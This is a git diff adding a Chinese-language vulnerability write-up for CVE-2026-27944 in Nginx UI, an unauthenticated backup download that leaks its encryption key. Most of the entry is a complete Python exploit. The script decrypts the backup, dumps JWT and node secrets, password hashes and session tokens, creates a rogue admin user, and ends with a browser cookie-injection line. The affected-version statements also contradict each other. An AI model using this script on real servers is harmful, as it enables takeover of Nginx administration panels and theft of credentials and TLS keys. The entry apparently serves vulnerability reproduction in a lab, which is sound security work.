diff --git a/Web应用漏洞/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944.md b/Web应用漏洞/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944.md new file mode 100644 index 0000000..4ce83d8 --- /dev/null +++ b/Web应用漏洞/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944.md @@ -0,0 +1,358 @@ +# Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944 + +## 漏洞描述 + +[Nginx UI](https://github.com/0xJacky/nginx-ui) 是一个开源的 Nginx 服务器 Web 管理界面,提供在线配置编辑、SSL 证书管理和服务器监控等功能。 + +CVE-2026-27944 是 Nginx UI 中一个严重漏洞,影响 2.3.3 之前的所有版本。`/api/backup` 接口在注册路由时未使用认证中间件(而 `/api/backup/restore` 接口则需要认证),允许未授权的攻击者触发完整的系统备份并下载备份文件。此外,备份生成逻辑会在响应头 `X-Backup-Security` 中以 `Base64(Key):Base64(IV)` 的格式暴露 AES-256 加密密钥和初始化向量(IV),攻击者可以立即解密备份内容。备份文件中包含 Nginx UI 配置文件 `app.ini`(含 JWT 签名密钥和集群节点密钥)、SQLite 数据库(含管理员凭证和会话令牌)、SSL 私钥以及 Nginx 配置文件。 + +攻击者可以从解密后的 `app.ini` 中提取集群节点密钥,然后通过 `X-Node-Secret` 请求头完全绕过 JWT 认证,获得管理员权限。这使得攻击者能够创建新的管理员用户、获取 JWT 令牌,从而完全控制 Nginx UI 实例。 + +参考链接: + +- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762 +- https://nvd.nist.gov/vuln/detail/CVE-2026-27944 + +## 漏洞影响 + +``` +Nginx UI < 2.3.2 +``` + +## 环境搭建 + +Vulhub 执行如下命令启动 Nginx UI 2.3.2: + +``` +docker compose up -d +``` + +服务启动后,访问 `http://your-ip:9000/` 即可看到 Nginx UI 登录页面。环境已预配置管理员账户(用户名 `admin`,密码 `admin`),无需手动初始化。 + +![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318111403076.png) + +## 漏洞复现 + +Vulhub 提供了一个完整的 PoC 脚本([poc.py](https://github.com/vulhub/vulhub/blob/65f9e92c330d9b23d00f0326776f19c86b643174/nginx-ui/CVE-2026-27944/poc.py))可以自动化完成整个利用链。首先安装依赖 `pip install cryptography`,然后执行脚本: + +``` +python poc.py -u http://your-ip:9000 --create-user hacker +``` + +脚本向 `/api/backup` 发送未认证的 GET 请求,下载加密的备份文件,并从 `X-Backup-Security` 响应头中解析 AES-256 密钥和 IV。随后解密备份中的所有文件,从 `app.ini` 中提取 JWT 签名密钥、集群节点密钥和加密密钥等敏感信息,并从 `database.db` 中提取用户凭证。 + +利用提取到的节点密钥,脚本通过 `X-Node-Secret` 请求头访问管理 API,验证已获得完整的管理员权限。配合 `--create-user` 参数,脚本会进一步创建新的管理员用户(此处为 `hacker`),获取登录接口的 RSA 公钥,加密凭证后完成认证,最终获取 JWT 令牌。 + +![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318111753714.png) + +脚本执行完毕后会输出一条 `document.cookie` 命令,将其粘贴到浏览器开发者工具控制台(F12)中即可注入 JWT 令牌。刷新页面后,你就可以进入 Nginx UI 管理后台,如下图所示,用户管理页面中可以看到新创建的 `hacker` 用户和原有的 `admin` 用户。 + +![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318112848772.png) + +## 漏洞 POC + +``` +#!/usr/bin/env python3 +""" +CVE-2026-27944 - Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure + +This PoC demonstrates the full exploitation chain: +1. Download encrypted backup without authentication +2. Extract AES-256 key and IV from the X-Backup-Security response header +3. Decrypt the backup archive +4. Extract Node Secret from app.ini +5. Use X-Node-Secret header to access admin API +6. Modify admin password and login to obtain a JWT token for browser access +""" + +import argparse +import base64 +import configparser +import hashlib +import io +import json +import os +import secrets +import sqlite3 +import string +import struct +import sys +import tempfile +import time +import urllib.request +import zipfile +from pathlib import Path + +try: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + from cryptography.hazmat.primitives.asymmetric import padding as asym_padding + from cryptography.hazmat.primitives import serialization +except ImportError: + print("Please install cryptography: pip install cryptography") + sys.exit(1) + + +def aes_cbc_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes: + """Decrypt AES-256-CBC data with PKCS7 unpadding.""" + cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) + decryptor = cipher.decryptor() + decrypted = decryptor.update(data) + decryptor.finalize() + pad_len = decrypted[-1] + return decrypted[:-pad_len] + + +def download_backup(target: str) -> tuple[bytes, str]: + """Download backup and return (zip_data, security_header).""" + url = f"{target}/api/backup" + print(f"[*] Requesting backup from {url}") + req = urllib.request.Request(url) + resp = urllib.request.urlopen(req, timeout=15) + security = resp.headers.get("X-Backup-Security", "") + data = resp.read() + print(f"[+] Downloaded backup: {len(data)} bytes") + print(f"[+] X-Backup-Security: {security}") + return data, security + + +def parse_security_header(header: str) -> tuple[bytes, bytes]: + """Parse X-Backup-Security header into (key, iv) bytes.""" + key_b64, iv_b64 = header.split(":") + key = base64.b64decode(key_b64) + iv = base64.b64decode(iv_b64) + print(f"[+] AES Key ({len(key)*8}-bit): {key.hex()}") + print(f"[+] AES IV ({len(iv)*8}-bit): {iv.hex()}") + return key, iv + + +def decrypt_backup(zip_data: bytes, key: bytes, iv: bytes) -> dict[str, bytes]: + """Decrypt all files in the backup ZIP archive.""" + result = {} + with zipfile.ZipFile(io.BytesIO(zip_data)) as zf: + for name in zf.namelist(): + encrypted = zf.read(name) + try: + decrypted = aes_cbc_decrypt(encrypted, key, iv) + result[name] = decrypted + print(f"[+] Decrypted: {name} ({len(decrypted)} bytes)") + except Exception as e: + print(f"[-] Failed to decrypt {name}: {e}") + return result + + +def extract_secrets(decrypted_files: dict[str, bytes], output_dir: str) -> dict: + """Extract secrets from decrypted nginx-ui.zip.""" + secrets = {} + + if "nginx-ui.zip" not in decrypted_files: + print("[-] nginx-ui.zip not found in backup") + return secrets + + with zipfile.ZipFile(io.BytesIO(decrypted_files["nginx-ui.zip"])) as zf: + # Extract app.ini + if "app.ini" in zf.namelist(): + ini_data = zf.read("app.ini").decode() + ini_path = os.path.join(output_dir, "app.ini") + Path(ini_path).write_text(ini_data) + + config = configparser.ConfigParser() + config.read_string(ini_data) + + secrets["jwt_secret"] = config.get("app", "JwtSecret", fallback="") + secrets["node_secret"] = config.get("node", "Secret", fallback="") + secrets["crypto_secret"] = config.get("crypto", "Secret", fallback="") + + print(f"\n[+] === Extracted Secrets from app.ini ===") + print(f" JwtSecret: {secrets['jwt_secret']}") + print(f" Node Secret: {secrets['node_secret']}") + print(f" Crypto Secret: {secrets['crypto_secret']}") + + # Extract database + if "database.db" in zf.namelist(): + db_data = zf.read("database.db") + db_path = os.path.join(output_dir, "database.db") + Path(db_path).write_bytes(db_data) + + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + + print(f"\n[+] === Users from database ===") + try: + for row in cursor.execute("SELECT id, name, password FROM users"): + print(f" ID={row[0]} Name={row[1]} Password={row[2]}") + secrets.setdefault("users", []).append({ + "id": row[0], "name": row[1], "password_hash": row[2] + }) + except sqlite3.OperationalError: + print(" (no users table found)") + + print(f"\n[+] === Active Auth Tokens ===") + try: + tokens = list(cursor.execute( + "SELECT user_id, token, short_token, expired_at FROM auth_tokens" + )) + if tokens: + for row in tokens: + print(f" UserID={row[0]} Token={row[1][:40]}... Expires={row[3]}") + secrets.setdefault("tokens", []).append({ + "user_id": row[0], "token": row[1], + "short_token": row[2], "expired_at": row[3] + }) + else: + print(" (no active tokens)") + except sqlite3.OperationalError: + print(" (no auth_tokens table found)") + + conn.close() + + return secrets + + +def exploit_node_secret(target: str, node_secret: str): + """Use X-Node-Secret to access admin API.""" + print(f"\n[*] === Exploiting with X-Node-Secret ===") + + url = f"{target}/api/users" + req = urllib.request.Request(url, headers={"X-Node-Secret": node_secret}) + try: + resp = urllib.request.urlopen(req, timeout=10) + data = json.loads(resp.read()) + print(f"[+] Admin API access successful!") + print(f"[+] Response from {url}:") + print(json.dumps(data, indent=2)) + return True + except urllib.error.HTTPError as e: + print(f"[-] Failed: HTTP {e.code} - {e.read().decode()}") + return False + + +def obtain_admin_token(target: str, node_secret: str, username: str = "hacker") -> str: + """Create a new admin user via X-Node-Secret, then login to obtain JWT token.""" + print(f"\n[*] === Obtaining Admin JWT Token ===") + + password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(16)) + + # Step 1: Create a new admin user via X-Node-Secret + print(f"[*] Creating new admin user '{username}' via X-Node-Secret...") + body = json.dumps({"name": username, "password": password}).encode() + req = urllib.request.Request( + f"{target}/api/users", data=body, method="POST", + headers={"Content-Type": "application/json", "X-Node-Secret": node_secret}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + user_data = json.loads(resp.read()) + print(f"[+] User '{username}' created (ID={user_data['id']}), password: {password}") + except urllib.error.HTTPError as e: + print(f"[-] Failed to create user: HTTP {e.code} - {e.read().decode()}") + return "" + + # Step 2: Get RSA public key for encrypted login + print(f"[*] Fetching RSA public key...") + body = json.dumps({ + "timestamp": int(time.time()), + "fingerprint": hashlib.sha256(b"poc").hexdigest(), + }).encode() + req = urllib.request.Request( + f"{target}/api/crypto/public_key", data=body, + headers={"Content-Type": "application/json"}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + result = json.loads(resp.read()) + pub_key = serialization.load_pem_public_key(result["public_key"].encode()) + nonce = result.get("nonce", "") + except Exception as e: + print(f"[-] Failed to get public key: {e}") + return "" + + # Step 3: RSA-encrypt login credentials and authenticate + print(f"[*] Logging in as '{username}'...") + params = json.dumps({"name": username, "password": password, "nonce": nonce}).encode() + encrypted = pub_key.encrypt(params, asym_padding.PKCS1v15()) + body = json.dumps({"encrypted_params": base64.b64encode(encrypted).decode()}).encode() + req = urllib.request.Request( + f"{target}/api/login", data=body, + headers={"Content-Type": "application/json"}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + data = json.loads(resp.read()) + token = data["token"] + print(f"[+] Login successful! JWT token obtained.") + return token + except urllib.error.HTTPError as e: + print(f"[-] Login failed: HTTP {e.code} - {e.read().decode()}") + return "" + + +def main(): + parser = argparse.ArgumentParser( + description="CVE-2026-27944 - Nginx UI Unauthenticated Backup Exploit" + ) + parser.add_argument("-u", "--url", required=True, + help="Target URL (e.g. http://localhost:9000)") + parser.add_argument("-o", "--output", default=None, + help="Output directory for decrypted files (default: temp dir)") + parser.add_argument("--create-user", metavar="USERNAME", default=None, + help="Create a new admin user and obtain JWT token for browser access") + args = parser.parse_args() + + target = args.url.rstrip("/") + output_dir = args.output or tempfile.mkdtemp(prefix="nginx-ui-backup-") + os.makedirs(output_dir, exist_ok=True) + + print(f"[*] Target: {target}") + print(f"[*] Output: {output_dir}\n") + + # Step 1: Download backup + zip_data, security_header = download_backup(target) + if not security_header: + print("[-] No X-Backup-Security header found. Target may be patched.") + sys.exit(1) + + # Save raw backup + backup_path = os.path.join(output_dir, "backup.zip") + Path(backup_path).write_bytes(zip_data) + + # Step 2: Parse encryption key + key, iv = parse_security_header(security_header) + + # Step 3: Decrypt backup + decrypted_files = decrypt_backup(zip_data, key, iv) + + # Step 4: Extract secrets + secrets = extract_secrets(decrypted_files, output_dir) + + # Step 5: Exploit with Node Secret + node_secret = secrets.get("node_secret", "") + if node_secret: + exploit_node_secret(target, node_secret) + else: + print("\n[-] No Node Secret found, cannot exploit further") + + # Step 6: Optionally create new admin user and obtain JWT token + token = "" + if node_secret and args.create_user: + token = obtain_admin_token(target, node_secret, args.create_user) + + # Summary + print(f"\n{'='*60}") + print(f"[+] Exploitation complete!") + print(f"[+] Decrypted files saved to: {output_dir}") + if node_secret: + print(f"[+] Admin API: curl -H 'X-Node-Secret: {node_secret}' {target}/api/users") + if token: + print(f"[+] JWT Token: {token}") + print(f"[+] Browser access: paste the following in browser console (F12):") + print(f' document.cookie="token={token};path=/"') + print(f" Then refresh the page to enter admin panel.") + + +if __name__ == "__main__": + main() +``` + +## 漏洞修复 + +- 升级至最新版本。 +- 利用安全组设置其仅对可信地址开放。 diff --git a/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111403076.png b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111403076.png new file mode 100644 index 0000000..c4a7a52 Binary files /dev/null and b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111403076.png differ diff --git a/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111753714.png b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111753714.png new file mode 100644 index 0000000..5d4368e Binary files /dev/null and b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318111753714.png differ diff --git a/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318112848772.png b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318112848772.png new file mode 100644 index 0000000..957f4d0 Binary files /dev/null and b/Web应用漏洞/images/Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944/image-20260318112848772.png differ